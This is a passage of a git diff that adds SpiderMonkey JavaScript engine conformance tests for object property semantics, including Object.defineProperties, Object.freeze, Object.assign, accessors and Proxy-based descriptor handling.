+ a: { value: 17, enumerable: true, configurable: true, writable: true },
+ b: { value: 42, enumerable: false, configurable: false, writable: false }
+ };
+Object.defineProperties(o, props);
+assertEq("a" in o, true);
+assertEq("b" in o, true);
+desc = Object.getOwnPropertyDescriptor(o, "a");
+assertEq(desc.value, 17);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+assertEq(desc.writable, true);
+desc = Object.getOwnPropertyDescriptor(o, "b");
+assertEq(desc.value, 42);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, false);
+
+props =
+ {
+ c: { value: NaN, enumerable: false, configurable: true, writable: true },
+ b: { value: 44 }
+ };
+var error = "before";
+try
+{
+ Object.defineProperties(o, props);
+ error = "no exception thrown";
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror", "didn't throw or threw wrongly");
+assertEq("c" in o, true, "new property added");
+assertEq(o.b, 42, "old property value preserved");
+
+function Properties() { }
+Properties.prototype = { b: { value: 42, enumerable: true } };
+props = new Properties();
+Object.defineProperty(props, "a", { enumerable: false });
+o = {};
+Object.defineProperties(o, props);
+assertEq("a" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "a"), undefined,
+ "Object.defineProperties(O, Properties) should only use enumerable " +
+ "properties on Properties");
+assertEq("b" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "b"), undefined,
+ "Object.defineProperties(O, Properties) should only use enumerable " +
+ "properties directly on Properties");
+
+Number.prototype.foo = { value: 17, enumerable: true };
+Boolean.prototype.bar = { value: 8675309, enumerable: true };
+String.prototype.quux = { value: "Are you HAPPY yet?", enumerable: true };
+o = {};
+Object.defineProperties(o, 5); // ToObject only throws for null/undefined
+assertEq("foo" in o, false, "foo is not an enumerable own property");
+Object.defineProperties(o, false);
+assertEq("bar" in o, false, "bar is not an enumerable own property");
+Object.defineProperties(o, "");
+assertEq("quux" in o, false, "quux is not an enumerable own property");
+
+error = "before";
+try
+{
+ Object.defineProperties(o, "1");
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror",
+ "should throw on Properties == '1' due to '1'[0] not being a " +
+ "property descriptor");
+
+error = "before";
+try
+{
+ Object.defineProperties(o, null);
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror", "should throw on Properties == null");
+
+error = "before";
+try
+{
+ Object.defineProperties(o, undefined);
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror", "should throw on Properties == undefined");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.9.js b/js/src/tests/non262/object/15.2.3.9.js
new file mode 100644
index 0000000000..c73437fa7d
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.9.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Object.freeze */
+
+function getme() { return 42; };
+function setme(x) { };
+
+var properties = { all: { value:1, writable:true, configurable:true, enumerable: true },
+ readOnly: { value:2, writable:false, configurable:true, enumerable: true },
+ nonConfig: { value:3, writable:true, configurable:false, enumerable: true },
+ none: { value:4, writable:false, configurable:false, enumerable: true },
+ getter: { get: getme, configurable:false, enumerable: true },
+ setter: { set: setme, configurable:false, enumerable: true },
+ getandset: { get: getme, set: setme, configurable:false, enumerable: true }
+ };
+var o = Object.defineProperties({}, properties);
+
+Object.freeze(o);
+
+function getPropertyOf(obj) {
+ return function (prop) {
+ return Object.getOwnPropertyDescriptor(obj, prop);
+ };
+};
+
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'all'),
+ { value: 1, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'readOnly'),
+ { value: 2, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'nonConfig'),
+ { value: 3, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'none'),
+ { value: 4, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'getter'),
+ { get: getme, set: (void 0), enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'setter'),
+ { set: setme, get: (void 0), enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'getandset'),
+ { get: getme, set: setme, enumerable:true, configurable:false }),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/accessor-arguments-rest.js b/js/src/tests/non262/object/accessor-arguments-rest.js
new file mode 100644
index 0000000000..82f37b62e3
--- /dev/null
+++ b/js/src/tests/non262/object/accessor-arguments-rest.js
@@ -0,0 +1,24 @@
+assertThrowsInstanceOf(() => eval("({ get x(...a) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x(a, ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x([a], ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x({a}, ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x({a: A}, ...b) { } })"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("({ set x(...a) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ set x(a, ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ set x([a], ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ set x({a: A}, ...b) { } })"), SyntaxError);
+
+({ get(...a) { } });
+({ get(a, ...b) { } });
+({ get([a], ...b) { } });
+({ get({a}, ...b) { } });
+({ get({a: A}, ...b) { } });
+
+({ set(...a) { } });
+({ set(a, ...b) { } });
+({ set([a], ...b) { } });
+({ set({a: A}, ...b) { } });
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/accessor-name.js b/js/src/tests/non262/object/accessor-name.js
new file mode 100644
index 0000000000..f238a2aefc
--- /dev/null
+++ b/js/src/tests/non262/object/accessor-name.js
@@ -0,0 +1,35 @@
+function name(obj, property, get) {
+ let desc = Object.getOwnPropertyDescriptor(obj, property);
+ return (get ? desc.get : desc.set).name;
+}
+
+assertEq(name({get a() {}}, "a", true), "get a");
+assertEq(name({set a(v) {}}, "a", false), "set a");
+
+assertEq(name({get 123() {}}, "123", true), "get 123");
+assertEq(name({set 123(v) {}}, "123", false), "set 123");
+
+assertEq(name({get case() {}}, "case", true), "get case");
+assertEq(name({set case(v) {}}, "case", false), "set case");
+
+assertEq(name({get get() {}}, "get", true), "get get");
+assertEq(name({set set(v) {}}, "set", false), "set set");
+
+let o = {get a() { }, set a(v) {}};
+assertEq(name(o, "a", true), "get a");
+assertEq(name(o, "a", false), "set a");
+
+o = {get 123() { }, set 123(v) {}}
+assertEq(name(o, "123", true), "get 123");
+assertEq(name(o, "123", false), "set 123");
+
+o = {get case() { }, set case(v) {}}
+assertEq(name(o, "case", true), "get case");
+assertEq(name(o, "case", false), "set case");
+
+assertEq(name({get ["a"]() {}}, "a", true), "get a");
+assertEq(name({get [123]() {}}, "123", true), "get 123");
+assertEq(name({set ["a"](v) {}}, "a", false), "set a");
+assertEq(name({set [123](v) {}}, "123", false), "set 123");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/accessor-non-constructor.js b/js/src/tests/non262/object/accessor-non-constructor.js
new file mode 100644
index 0000000000..32d1d34673
--- /dev/null
+++ b/js/src/tests/non262/object/accessor-non-constructor.js
@@ -0,0 +1,20 @@
+var obj = { get a() { return 1; } };
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").get
+}, TypeError);
+
+obj = { set a(b) { } };
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").set
+}, TypeError);
+
+obj = { get a() { return 1; }, set a(b) { } };
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").get
+}, TypeError);
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").set
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/add-property-non-extensible.js b/js/src/tests/non262/object/add-property-non-extensible.js
new file mode 100644
index 0000000000..2089a5678b
--- /dev/null
+++ b/js/src/tests/non262/object/add-property-non-extensible.js
@@ -0,0 +1,118 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'add-property-non-extensible.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 602144;
+var summary =
+ 'Properly method-compile attempted addition of properties to ' +
+ 'non-extensible objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// No property
+
+var o1 = {};
+for (var i = 0; i < 5; i++)
+ o1.a = 3;
+assertEq(o1.a, 3);
+
+var o2 = Object.preventExtensions({});
+for (var i = 0; i < 5; i++)
+ o2.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o2, "a"), undefined);
+
+var o3 = Object.seal({});
+for (var i = 0; i < 5; i++)
+ o3.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o3, "a"), undefined);
+
+var o4 = Object.freeze({});
+for (var i = 0; i < 5; i++)
+ o4.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o4, "a"), undefined);
+
+
+// Has property
+
+var o5 = { a: 2 };
+for (var i = 0; i < 5; i++)
+ o5.a = 3;
+assertEq(o5.a, 3);
+
+var o6 = Object.preventExtensions({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o6.a = 3;
+assertEq(o6.a, 3);
+
+var o7 = Object.seal({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o7.a = 3;
+assertEq(o7.a, 3);
+
+var o8 = Object.freeze({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o8.a = 3;
+assertEq(o8.a, 2);
+
+
+// Extensible, hit up the prototype chain
+
+var o9 = Object.create({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o9.a = 3;
+assertEq(o9.a, 3);
+
+var o10 = Object.create(Object.preventExtensions({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o10.a = 3;
+assertEq(o10.a, 3);
+
+var o11 = Object.create(Object.seal({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o11.a = 3;
+assertEq(o11.a, 3);
+
+var o12 = Object.create(Object.freeze({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o12.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o12, "a"), undefined);
+
+
+// Not extensible, hit up the prototype chain
+
+var o13 = Object.preventExtensions(Object.create({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o13.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o13, "a"), undefined);
+
+var o14 =
+ Object.preventExtensions(Object.create(Object.preventExtensions({ a: 2 })));
+for (var i = 0; i < 5; i++)
+ o14.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o14, "a"), undefined);
+
+var o15 = Object.preventExtensions(Object.create(Object.seal({ a: 2 })));
+for (var i = 0; i < 5; i++)
+ o15.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o15, "a"), undefined);
+
+var o16 = Object.preventExtensions(Object.create(Object.freeze({ a: 2 })));
+for (var i = 0; i < 5; i++)
+ o16.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o16, "a"), undefined);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/assign.js b/js/src/tests/non262/object/assign.js
new file mode 100644
index 0000000000..8828bdb21c
--- /dev/null
+++ b/js/src/tests/non262/object/assign.js
@@ -0,0 +1,303 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function checkDataProperty(object, propertyKey, value, writable, enumerable, configurable) {
+ var desc = Object.getOwnPropertyDescriptor(object, propertyKey);
+ assertEq(desc === undefined, false);
+ assertEq('value' in desc, true);
+ assertEq(desc.value, value);
+ assertEq(desc.writable, writable);
+ assertEq(desc.enumerable, enumerable);
+ assertEq(desc.configurable, configurable);
+}
+
+/* 19.1.2.1 Object.assign ( target, ...sources ) */
+assertEq(Object.assign.length, 2);
+
+// Basic functionality works with multiple sources
+function basicMultipleSources() {
+ var a = {};
+ var b = { bProp : 7 };
+ var c = { cProp : 8 };
+ Object.assign(a, b, c);
+ assertEq(a.bProp, 7);
+ assertEq(a.cProp, 8);
+}
+basicMultipleSources();
+
+// Basic functionality works with symbols (Bug 1052358)
+function basicSymbols() {
+ var a = {};
+ var b = { bProp : 7 };
+ var aSymbol = Symbol("aSymbol");
+ b[aSymbol] = 22;
+ Object.assign(a, b);
+ assertEq(a.bProp, 7);
+ assertEq(a[aSymbol], 22);
+}
+basicSymbols();
+
+// Calls ToObject() for target, skips null/undefined sources, uses
+// ToObject(source) otherwise.
+function testToObject() {
+ assertThrowsInstanceOf(() => Object.assign(null, null), TypeError);
+ assertThrowsInstanceOf(() => Object.assign(), TypeError);
+ assertThrowsInstanceOf(() => Object.assign(null, {}), TypeError);
+ assertEq(Object.assign({}, null) instanceof Object, true);
+ assertEq(Object.assign({}, undefined) instanceof Object, true);
+
+ // Technically an embedding could have this as extension acting differently
+ // from ours, so a feature-test is inadequate. We can move this subtest
+ // into extensions/ if that ever matters.
+ if (typeof createIsHTMLDDA === "function") {
+ var falsyObject = createIsHTMLDDA();
+ falsyObject.foo = 7;
+
+ var obj = Object.assign({}, falsyObject);
+ assertEq(obj instanceof Object, true);
+ assertEq(obj.foo, 7);
+ }
+
+ assertEq(Object.assign(true, {}) instanceof Boolean, true);
+ assertEq(Object.assign(1, {}) instanceof Number, true);
+ assertEq(Object.assign("string", {}) instanceof String, true);
+ var o = {};
+ assertEq(Object.assign(o, {}), o);
+}
+testToObject();
+
+// Invokes [[OwnPropertyKeys]] on ToObject(source)
+function testOwnPropertyKeys() {
+ assertThrowsInstanceOf(() => Object.assign(null, new Proxy({}, {
+ getOwnPropertyNames: () => { throw new Error("not called"); }
+ })), TypeError);
+
+ var ownKeysCalled = false;
+ Object.assign({}, new Proxy({}, {
+ ownKeys: function() {
+ ownKeysCalled = true;
+ return [];
+ }
+ }));
+ assertEq(ownKeysCalled, true);
+};
+testOwnPropertyKeys();
+
+// Ensure correct property traversal
+function correctPropertyTraversal() {
+ var log = "";
+ var source = new Proxy({a: 1, b: 2}, {
+ ownKeys: () => ["b", "c", "a"],
+ getOwnPropertyDescriptor: function(t, pk) {
+ log += "#" + pk;
+ return Object.getOwnPropertyDescriptor(t, pk);
+ },
+ get: function(t, pk, r) {
+ log += "-" + pk;
+ return t[pk];
+ },
+ });
+ Object.assign({}, source);
+ assertEq(log, "#b-b#c#a-a");
+}
+correctPropertyTraversal();
+
+// Only [[Enumerable]] properties are assigned to target
+function onlyEnumerablePropertiesAssigned() {
+ var source = Object.defineProperties({}, {
+ a: {value: 1, enumerable: true},
+ b: {value: 2, enumerable: false},
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+onlyEnumerablePropertiesAssigned();
+
+
+// Enumerability is decided on-time, not before main loop (1)
+function testEnumerabilityDeterminedInLoop1()
+{
+ var getterCalled = false;
+ var sourceTarget = {
+ get a() { getterCalled = true },
+ get b() { Object.defineProperty(sourceTarget, "a", {enumerable: false}) },
+ };
+ var source = new Proxy(sourceTarget, { ownKeys: () => ["b", "a"] });
+ Object.assign({}, source);
+ assertEq(getterCalled, false);
+}
+testEnumerabilityDeterminedInLoop1();
+
+// Enumerability is decided on-time, not before main loop (2)
+function testEnumerabilityDeterminedInLoop2()
+{
+ var getterCalled = false;
+ var sourceTarget = {
+ get a() { getterCalled = true },
+ get b() { Object.defineProperty(sourceTarget, "a", {enumerable: true}) },
+ };
+ var source = new Proxy(sourceTarget, {
+ ownKeys: () => ["b", "a"]
+ });
+ Object.defineProperty(sourceTarget, "a", {enumerable: false});
+ Object.assign({}, source);
+ assertEq(getterCalled, true);
+}
+testEnumerabilityDeterminedInLoop2();
+
+// Properties are retrieved through Get() and assigned onto
+// the target as data properties, not in any sense cloned over as descriptors
+function testPropertiesRetrievedThroughGet() {
+ var getterCalled = false;
+ Object.assign({}, {get a() { getterCalled = true }});
+ assertEq(getterCalled, true);
+}
+testPropertiesRetrievedThroughGet();
+
+// Properties are retrieved through Get()
+// Properties are assigned through Put()
+function testPropertiesAssignedThroughPut() {
+ var setterCalled = false;
+ Object.assign({set a(v) { setterCalled = v }}, {a: true});
+ assertEq(setterCalled, true);
+}
+testPropertiesAssignedThroughPut();
+
+// Properties are retrieved through Get()
+// Properties are assigned through Put(): Existing property attributes are not altered
+function propertiesAssignedExistingNotAltered() {
+ var source = {a: 1, b: 2, c: 3};
+ var target = {a: 0, b: 0, c: 0};
+ Object.defineProperty(target, "a", {enumerable: false});
+ Object.defineProperty(target, "b", {configurable: false});
+ Object.defineProperty(target, "c", {enumerable: false, configurable: false});
+ Object.assign(target, source);
+ checkDataProperty(target, "a", 1, true, false, true);
+ checkDataProperty(target, "b", 2, true, true, false);
+ checkDataProperty(target, "c", 3, true, false, false);
+}
+propertiesAssignedExistingNotAltered();
+
+// Properties are retrieved through Get()
+// Properties are assigned through Put(): Throws TypeError if non-writable
+function propertiesAssignedTypeErrorNonWritable() {
+ var source = {a: 1};
+ var target = {a: 0};
+ Object.defineProperty(target, "a", {writable: false});
+ assertThrowsInstanceOf(() => Object.assign(target, source), TypeError);
+ checkDataProperty(target, "a", 0, false, true, true);
+}
+propertiesAssignedTypeErrorNonWritable();
+
+// Properties are retrieved through Get()
+// Put() creates standard properties; Property attributes from source are ignored
+function createsStandardProperties() {
+ var source = {a: 1, b: 2, c: 3, get d() { return 4 }};
+ Object.defineProperty(source, "b", {writable: false});
+ Object.defineProperty(source, "c", {configurable: false});
+ var target = Object.assign({}, source);
+ checkDataProperty(target, "a", 1, true, true, true);
+ checkDataProperty(target, "b", 2, true, true, true);
+ checkDataProperty(target, "c", 3, true, true, true);
+ checkDataProperty(target, "d", 4, true, true, true);
+}
+createsStandardProperties();
+
+// Properties created during traversal are not copied
+function propertiesCreatedDuringTraversalNotCopied() {
+ var source = {get a() { this.b = 2 }};
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+propertiesCreatedDuringTraversalNotCopied();
+
+// Properties deleted during traversal are not copied
+function testDeletePropertiesNotCopied() {
+ var source = new Proxy({
+ get a() { delete this.b },
+ b: 2,
+ }, {
+ getOwnPropertyNames: () => ["a", "b"]
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+testDeletePropertiesNotCopied();
+
+function testDeletionExposingShadowedProperty()
+{
+ var srcProto = { b: 42 };
+ var src =
+ Object.create(srcProto,
+ { a: { enumerable: true, get: function() { delete this.b; } },
+ b: { value: 2, configurable: true, enumerable: true } });
+ var source = new Proxy(src, { getOwnPropertyNames: () => ["a", "b"] });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+testDeletionExposingShadowedProperty();
+
+// Properties first deleted and then recreated during traversal are copied (1)
+function testDeletedAndRecreatedPropertiesCopied1() {
+ var source = new Proxy({
+ get a() { delete this.c },
+ get b() { this.c = 4 },
+ c: 3,
+ }, {
+ getOwnPropertyNames: () => ["a", "b", "c"]
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, true);
+ assertEq("c" in target, true);
+ checkDataProperty(target, "c", 4, true, true, true);
+}
+testDeletedAndRecreatedPropertiesCopied1();
+
+// Properties first deleted and then recreated during traversal are copied (2)
+function testDeletedAndRecreatedPropertiesCopied2() {
+ var source = new Proxy({
+ get a() { delete this.c },
+ get b() { this.c = 4 },
+ c: 3,
+ }, {
+ ownKeys: () => ["a", "c", "b"]
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, true);
+ assertEq("c" in target, false);
+}
+testDeletedAndRecreatedPropertiesCopied2();
+
+// String and Symbol valued properties are copied
+function testStringAndSymbolPropertiesCopied() {
+ var keyA = "str-prop";
+ var source = {"str-prop": 1};
+ var target = Object.assign({}, source);
+ checkDataProperty(target, keyA, 1, true, true, true);
+}
+testStringAndSymbolPropertiesCopied();
+
+// Intermediate exceptions stop traversal and throw exception
+function testExceptionsDoNotStopFirstReported1() {
+ var TestError = function TestError() {};
+ var source = new Proxy({}, {
+ getOwnPropertyDescriptor: function(t, pk) {
+ assertEq(pk, "b");
+ throw new TestError();
+ },
+ ownKeys: () => ["b", "a"]
+ });
+ assertThrowsInstanceOf(() => Object.assign({}, source), TestError);
+}
+testExceptionsDoNotStopFirstReported1();
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/browser.js b/js/src/tests/non262/object/browser.js
new file mode 100644
index 0000000000..0e57d1fcd0
--- /dev/null
+++ b/js/src/tests/non262/object/browser.js
@@ -0,0 +1,7 @@
+var GLOBAL = 'Window';
+
+function isObject(obj)
+{
+ return obj instanceof Object || obj == window;
+}
+
diff --git a/js/src/tests/non262/object/bug-1150906.js b/js/src/tests/non262/object/bug-1150906.js
new file mode 100644
index 0000000000..27403cccfe
--- /dev/null
+++ b/js/src/tests/non262/object/bug-1150906.js
@@ -0,0 +1,13 @@
+function f(x) {
+ Object.defineProperty(arguments, 0, {
+ get: function() {}
+ });
+ return arguments;
+}
+
+var obj = f(1);
+assertEq(obj[0], undefined);
+assertEq(Object.getOwnPropertyDescriptor(obj, 0).set, undefined);
+assertThrowsInstanceOf(() => { "use strict"; obj[0] = 1; }, TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/bug-1206700.js b/js/src/tests/non262/object/bug-1206700.js
new file mode 100644
index 0000000000..4918bcbec5
--- /dev/null
+++ b/js/src/tests/non262/object/bug-1206700.js
@@ -0,0 +1,10 @@
+var x = {};
+Reflect.set(x, "prop", 5, Object.prototype);
+var y = {};
+Reflect.set(y, "prop", 6, Object.prototype);
+assertEq(x.hasOwnProperty("prop"), false);
+assertEq(y.hasOwnProperty("prop"), false);
+assertEq(Object.prototype.hasOwnProperty("prop"), true);
+assertEq(Object.prototype.prop, 6);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/object/clear-dictionary-accessor-getset.js b/js/src/tests/non262/object/clear-dictionary-accessor-getset.js
new file mode 100644
index 0000000000..f0d9e11ca6
--- /dev/null
+++ b/js/src/tests/non262/object/clear-dictionary-accessor-getset.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "clear-dictionary-accessor-getset.js";
+var BUGNUMBER = 1082662;
+var summary =
+ "Properly handle GC of a dictionary accessor property whose [[Get]] or " +
+ "[[Set]] has been changed to |undefined|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test(field)
+{
+ var prop = "[[" + field[0].toUpperCase() + field.substring(1) + "]]";
+ print("Testing for GC crashes after setting " + prop + " to undefined...");
+
+ function inner()
+ {
+ // Create an object with an accessor property.
+ var obj = { x: 42, get y() {}, set y(v) {} };
+
+ // 1) convert it to dictionary mode, in the process 2) creating a new
+ // version of that accessor property whose [[Get]] and [[Set]] are objects
+ // that trigger post barriers.
+ delete obj.x;
+
+ var desc = {};
+ desc[field] = undefined;
+
+ // Overwrite [[field]] with undefined. Note #1 above is necessary so this
+ // is an actual *overwrite*, and not (possibly) a shape-tree fork that
+ // doesn't overwrite.
+ Object.defineProperty(obj, "y", desc);
+
+ }
+
+ inner();
+ gc(); // In unfixed code, this crashes trying to mark a null [[field]].
+}
+
+test("get");
+test("set");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/object/defineGetter-defineSetter.js b/js/src/tests/non262/object/defineGetter-defineSetter.js
new file mode 100644
index 0000000000..b2bb21f67c
--- /dev/null
+++ b/js/src/tests/non262/object/defineGetter-defineSetter.js
@@ -0,0 +1,92 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+let count = 0;
+let verifyProxy = new Proxy({}, {
+ defineProperty(target, property, descriptor) {
+ assertEq(property, "x");
+
+ assertEq(descriptor.enumerable, true);
+ assertEq(descriptor.configurable, true);
+
+ if ("set" in descriptor)
+ assertEq(descriptor.set, Object.prototype.__defineSetter__);
+ else
+ assertEq(descriptor.get, Object.prototype.__defineGetter__);
+
+ assertEq(Object.keys(descriptor).length, 3);
+
+ count++;
+ return true;
+ }
+});
+
+for (let define of [Object.prototype.__defineGetter__, Object.prototype.__defineSetter__]) {
+ // null/undefined |this| value
+ for (let thisv of [undefined, null])
+ assertThrowsInstanceOf(() => define.call(thisv, "x", define), TypeError);
+
+ // non-callable getter/setter
+ let nonCallable = [{}, [], new Proxy({}, {})];
+ for (let value of nonCallable)
+ assertThrowsInstanceOf(() => define.call(verifyProxy, "x", value), TypeError);
+
+ // ToPropertyKey
+ let key = {
+ [Symbol.toPrimitive](hint) {
+ assertEq(hint, "string");
+ // Throws, because non-primitive is returned
+ return {};
+ },
+ valueOf() { throw "wrongly invoked"; },
+ toString() { throw "wrongly invoked"; }
+ };
+ assertThrowsInstanceOf(() => define.call(verifyProxy, key, define), TypeError);
+
+ key = {
+ [Symbol.toPrimitive](hint) {
+ assertEq(hint, "string");
+ return "x";
+ },
+ valueOf() { throw "wrongly invoked"; },
+ toString() { throw "wrongly invoked"; }
+ }
+ define.call(verifyProxy, key, define);
+
+ key = {
+ [Symbol.toPrimitive]: undefined,
+
+ valueOf() { throw "wrongly invoked"; },
+ toString() { return "x"; }
+ }
+ define.call(verifyProxy, key, define);
+
+ // Bog standard call
+ define.call(verifyProxy, "x", define);
+
+ let obj = {};
+ define.call(obj, "x", define);
+ let descriptor = Object.getOwnPropertyDescriptor(obj, "x");
+
+ assertEq(descriptor.enumerable, true);
+ assertEq(descriptor.configurable, true);
+
+ if (define == Object.prototype.__defineSetter__) {
+ assertEq(descriptor.get, undefined);
+ assertEq(descriptor.set, define);
+ } else {
+ assertEq(descriptor.get, define);
+ assertEq(descriptor.set, undefined);
+ }
+
+ assertEq(Object.keys(descriptor).length, 4);
+
+
+}
+
+// Number of calls that should succeed
+assertEq(count, 6);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/defineProperties-callable-accessor.js b/js/src/tests/non262/object/defineProperties-callable-accessor.js
new file mode 100644
index 0000000000..1e92a2c92e
--- /dev/null
+++ b/js/src/tests/non262/object/defineProperties-callable-accessor.js
@@ -0,0 +1,19 @@
+// ObjectDefineProperties with non callable accessor throws.
+const descriptors = [
+ {get: 1}, {set: 1},
+ {get: []}, {set: []},
+ {get: {}}, {set: {}},
+ {get: new Number}, {set: new Number},
+
+ {get: 1, set: 1},
+ {get: [], set: []},
+ {get: {}, set: {}},
+ {get: new Number, set: new Number},
+];
+
+for (const descriptor of descriptors) {
+ assertThrowsInstanceOf(() => Object.create(null, {x: descriptor}), TypeError);
+ assertThrowsInstanceOf(() => Object.defineProperties({}, {x: descriptor}), TypeError);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/defineProperties-order.js b/js/src/tests/non262/object/defineProperties-order.js
new file mode 100644
index 0000000000..417d101833
--- /dev/null
+++ b/js/src/tests/non262/object/defineProperties-order.js
@@ -0,0 +1,17 @@
+// Based on testcases provided by André Bargull
+
+let log = [];
+let logger = new Proxy({}, {
+ get(target, key) {
+ log.push(key);
+ }
+});
+
+Object.create(null, new Proxy({a: {value: 0}, b: {value: 1}}, logger));
+assertEq(log.join(), "ownKeys,getOwnPropertyDescriptor,get,getOwnPropertyDescriptor,get");
+
+log = [];
+Object.defineProperties({}, new Proxy({a: {value: 0}, b: {value: 1}}, logger));
+assertEq(log.join(), "ownKeys,getOwnPropertyDescriptor,get,getOwnPropertyDescriptor,get");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/defineProperty-proxy.js b/js/src/tests/non262/object/defineProperty-proxy.js
new file mode 100644
index 0000000000..b5ece940bc
--- /dev/null
+++ b/js/src/tests/non262/object/defineProperty-proxy.js
@@ -0,0 +1,54 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Test details of the implementation of ToPropertyDescriptor exposed to scripts
+// thanks to scriptable proxies.
+
+// A LoggingProxy object logs certain operations performed on it.
+var log = [];
+function LoggingProxy(target) {
+ return new Proxy(target, {
+ has: function (t, id) {
+ log.push("has " + id);
+ return id in t;
+ },
+ get: function (t, id) {
+ log.push("get " + id);
+ return t[id];
+ }
+ });
+}
+
+// Tragically, we use separate code to implement Object.defineProperty on
+// arrays and on proxies. So run the test three times.
+var testSubjects = [
+ {},
+ [],
+ new Proxy({}, {})
+];
+
